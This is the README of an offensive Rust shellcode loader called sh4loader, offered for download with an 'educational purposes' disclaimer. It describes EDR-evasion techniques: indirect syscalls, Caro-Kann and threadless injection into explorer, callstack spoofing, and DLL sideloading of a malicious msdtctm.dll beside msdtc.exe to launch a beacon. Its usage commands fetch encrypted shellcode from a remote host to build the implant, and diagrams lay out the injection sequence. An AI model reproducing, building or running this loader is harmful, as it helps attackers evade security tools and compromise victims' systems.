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sh4loader v2.0.0

sh4loader_v2

✨ Function

  • No CRT
  • Dll Sideload
  • Indirect Syscall: sh4loader use indirect syscall.
  • Caro Kann: sh4loader use Caro-Kann injection to evade kernel triggered memory scans.
  • Runtime Decrypt Shellcode: sh4loader will bruteforce shellcode decryption key at runtime.
  • Threadless injection: sh4loader use threadless injection.
  • CallstackSpoofing: sh4loader use CallstackSpoofing

Injection Method

  • msdtc_dll
  • threadless

Install

git clone https://github.com/sh4n4c1/sh4loader.git
cd sh4loader
cargo build --release
./target/release/sh4loader --help

if build failed, we need update rustc

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh # update rustc

Usage

sh4loader -m msdtc_sideload -u http://192.168.75.1/enc_shellcode.bin -p /tmp/shellcode.bin -o /tmp/project
sh4loader -m threadless -u http://192.168.75.1/enc_shellcode.bin -p /tmp/shellcode.bin -o /tmp/project
sh4loader -m threadless -u http://192.168.75.1/enc_shellcode.bin -p /tmp/shellcode.bin -o /tmp/project -r

Detail

threadless

sh4loader -m threadless -u http://192.168.75.1/enc_shellcode.bin -p /tmp/shellcode.bin -o /tmp/project -r # delete '-r' to use local injection

This implant will find two memory, one for the xor-encrypted main shellcode, and one for the Caro-Kann shellcode. In threadless injection, it will first hook the target function, and then jump to the fixed shellcode to save the function state and then jump Go to Caro-Kann shellcode, Caro-Kann will help us decrypt and execute the main shellcode

  TARGET PROCESS
+-----------------+
|  [function A]   |------+ hooked function called and jump to our <save and jump shellcode> (1)
|    <hooked>     |      |
+-----------------+      |
|   MEMORY HOLE   |      |
| <save and jump> |<-----+ the <save and jump shellcode> will save hooked function state and jump to Caro (2)
|   <Caro-Kann>   |------+ <Caro-Kann shellcode> will sleep and decrypt <main shellcode> (3)
+-----------------+      |
|  [function B]   |      |
+-----------------+      |
|   MEMORY HOLE   |      |
| <main shellcode>|<-----+ <Caro-Kann shellcode> jump to <main shellcode> (4)
+-----------------+
  1. During the execution of the implant, shellcode is patched to save the jump address.
  2. Callstack spoof means that NtAPI will be called using the TpReleaseWork proxy.
  3. The default function A and function B are RtlNtStatusToDosError and NtCreateWnfStateName respectively. The default process is explorer,because after using API Monitor I found that the explorer process seems to call RtlNtStatusToDosError every other time, and the NtCreateWnfStateName function is used to store the main shellcode.

msdtc_sideload

sh4loader -m msdtc_sideload -u http://192.168.75.1/enc_shellcode.bin -p /tmp/shellcode.bin -o /tmp/project

Then put the generated msdtctm.dll and msdtc.exe in the same directory. The msdtc.exe from C:\Windows\System32 folder.

    [msdtc.exe]
        |
msdtctm.dll loaded for use `DtcMainExt` function    
        |
    [my evil msdtctm.dll]
        |
msdtc.exe lanuch evil `DtcMainExt` function
        |
    [ BEACON ]

Resources

This is my first time writing a loader.I'm not some sort of expert on malware development, C, C++.I will be making a lot of mistakes,I hope that my coding skills get better and better

Obviously, the stuff in this repository is explicitly for educational purposes.